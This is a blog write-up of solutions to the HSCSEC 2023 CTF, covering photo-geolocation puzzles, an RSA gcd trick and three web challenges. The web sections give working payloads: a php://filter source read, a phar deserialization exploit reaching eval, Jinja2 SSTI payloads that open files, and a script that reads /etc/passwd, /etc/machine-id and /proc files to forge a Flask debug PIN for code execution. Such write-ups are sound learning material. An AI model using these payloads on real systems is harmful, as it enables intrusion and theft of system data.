2023_HSCSEC_WP

概述

打这个比赛的时候,同时还进行了CTFshow的每周挑战和NSS Round8,所以一边复现别的比赛,一边打的HSCSEC。当然,还是因为太菜,所以没出几题,有一题easkflask在最后的几分钟才看到一篇文章才让我想明白为什么计算得到的flask pin值不对。

Social Engineering

Happy Lantern Festival

根据图片知道是阿勒泰市,识图找到如下
通过百度地图知道风情街位于:惠民路,尝试提交几次
得到flag:HSCSEC{新疆维吾尔自治区阿勒泰地区阿勒泰市惠民路风情街}

Boat

识图找到上图,然后通过百度地图,得到西湖位于下图所示位置
最终得到flag:HSCSEC{浙江省杭州市西湖区龙井路1号}

Airplane

根据图片机翼标志知道是重庆航空,百度发现b开头就3个
只做到了这,flag提交说要具体地址,猜测是飞机出发的地址及目的地组合吧,后面还是没做了,只能提交10次太搞心态了。
查询飞机航班信息可以使用这个网址:https://flightaware.com/live/flight/EPA6218

Crypto

Ezrsa

不是很懂crypto,但是之前做过一些,然后加上发现M中包含p,c = pow(M,e,n),猜测gcd(n,c)=p
import gmpy2
from Crypto.Util.number import *

n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
e = 65537

print(gmpy2.gcd(n, c))
#97772803605372749682605407399511947369112121674469942228369880617973442071629696563167801242512592723590571045910500244994517647412843880814748689241502769894657207751011999959509916975918486841422622984629059948050450554202252225537996289481828075394484142212703142883528182761865502541887744555480640923169

p = 97772803605372749682605407399511947369112121674469942228369880617973442071629696563167801242512592723590571045910500244994517647412843880814748689241502769894657207751011999959509916975918486841422622984629059948050450554202252225537996289481828075394484142212703142883528182761865502541887744555480640923169
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
M = gmpy2.powmod(c, d, n)
print(M // (p*e*2022))
print(long_to_bytes(M // (p*e*2022)))

Web

EASYPHY

通过acti0n参数,使用php伪协议读取view.php和upload.php,发送过滤base64,使用basE64绕过
?acti0n=php://filter/convert.basE64-encode/resource=upload.php
得到源码,分析发现在view.php的类销毁时会调用eval函数,存在可控参数cmd
分析view.php进一步发现存在file_exists函数,使用该函数可以触发phar反序列化漏洞
构造exp.php生成phar文件
<?php
    class View
    {
        public $dir;
        private $cmd;

        function __construct()
        {
            $this->cmd = 'show_source("flag.php");'; 
        }
        function __destruct() {
            eval($this->cmd);
        }
    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
    $phar ->addFromString('test.txt','test'); //添加要压缩的文件
    $object = new View();
    $phar -> setMetadata($object); //将自定义meta-data存入manifest
    $phar -> stopBuffering();  
?>
添加gif头绕过upload.php中的判断,将生成phar文件上传后,在view.php下通过post的参数delete传入phar://phar.phar,得到flag

 

 

EZSSTI

过滤了.使用attr()函数绕过,例子:().__class__ 等于 ()|attr("__class__")
参考链接:https://cloud.tencent.com/developer/article/1838798
构造查看当前拥有的类payload:
{{((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}
bp抓包能直接发现内容,而在网页中需要按f12查看
构造上述payload时注意点,在遇到使用索引取值时需要把前面内容用()括起来,即遇到 [] 时
最终构造的payload为
{{(((((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__")())[132]|attr("__init__")|attr("__globals__"))["__builtins__"])["open"]("/fl"+"ag")).read()}}
最后发现,其实什么都没有过滤,只是过滤了查看flag,如下:
所以使用最简单的payload也能查看flag

EZSYFLASK

这题打flask pin,从文件读取中获取flask pin值实现rce
写了个脚本,获取flask pin计算所需的关键信息,如下
# coding:utf-8
# author:n1_esxw
# target:获取计算pin值的参数

import requests
from lxml import etree

url = "http://eaa38c89-c862-494e-82d5-62845a064bd5.race-node.hscsec.cn:8080/view?filename="

#获取计算flask pin所需内容
payload = ["/sys/class/net/eth0/address", "/proc/sys/kernel/random/boot_id", "/proc/1/cpuset", "/etc/passwd", "/etc/machine-id"]

for i in range(len(payload)):
    url_payload = url + payload[i]
    html = requests.get(url=url_payload).text
    content = etree.HTML(html)
    print(content.xpath('//h1/text()'))
这里有个考点就是过滤了self和cgroup,如何获取docker容器的id,这里使用/proc/1/cpuset来获取,也可以通过/proc/1/mountinfo来获取
使用/proc/1/cmdline来获取1进程执行的终端命令
我们通过计算pin值,在这里需要注意的是,要使用/etc/machine-id/proc/1/cpuset拼接的内容来生成。
使用/proc/sys/kernel/random/boot_id是错误的,原因如下:

 

 

参考链接:https://blog.csdn.net/q851579181q/article/details/107151492
访问/console输入pin值,进入debug,使用下面payload实现rce
import os
os.popen('whoami').read()
最终得到flag:
posted @ 2023-02-13 12:24  nLesxw  阅读(115)  评论(0编辑  收藏  举报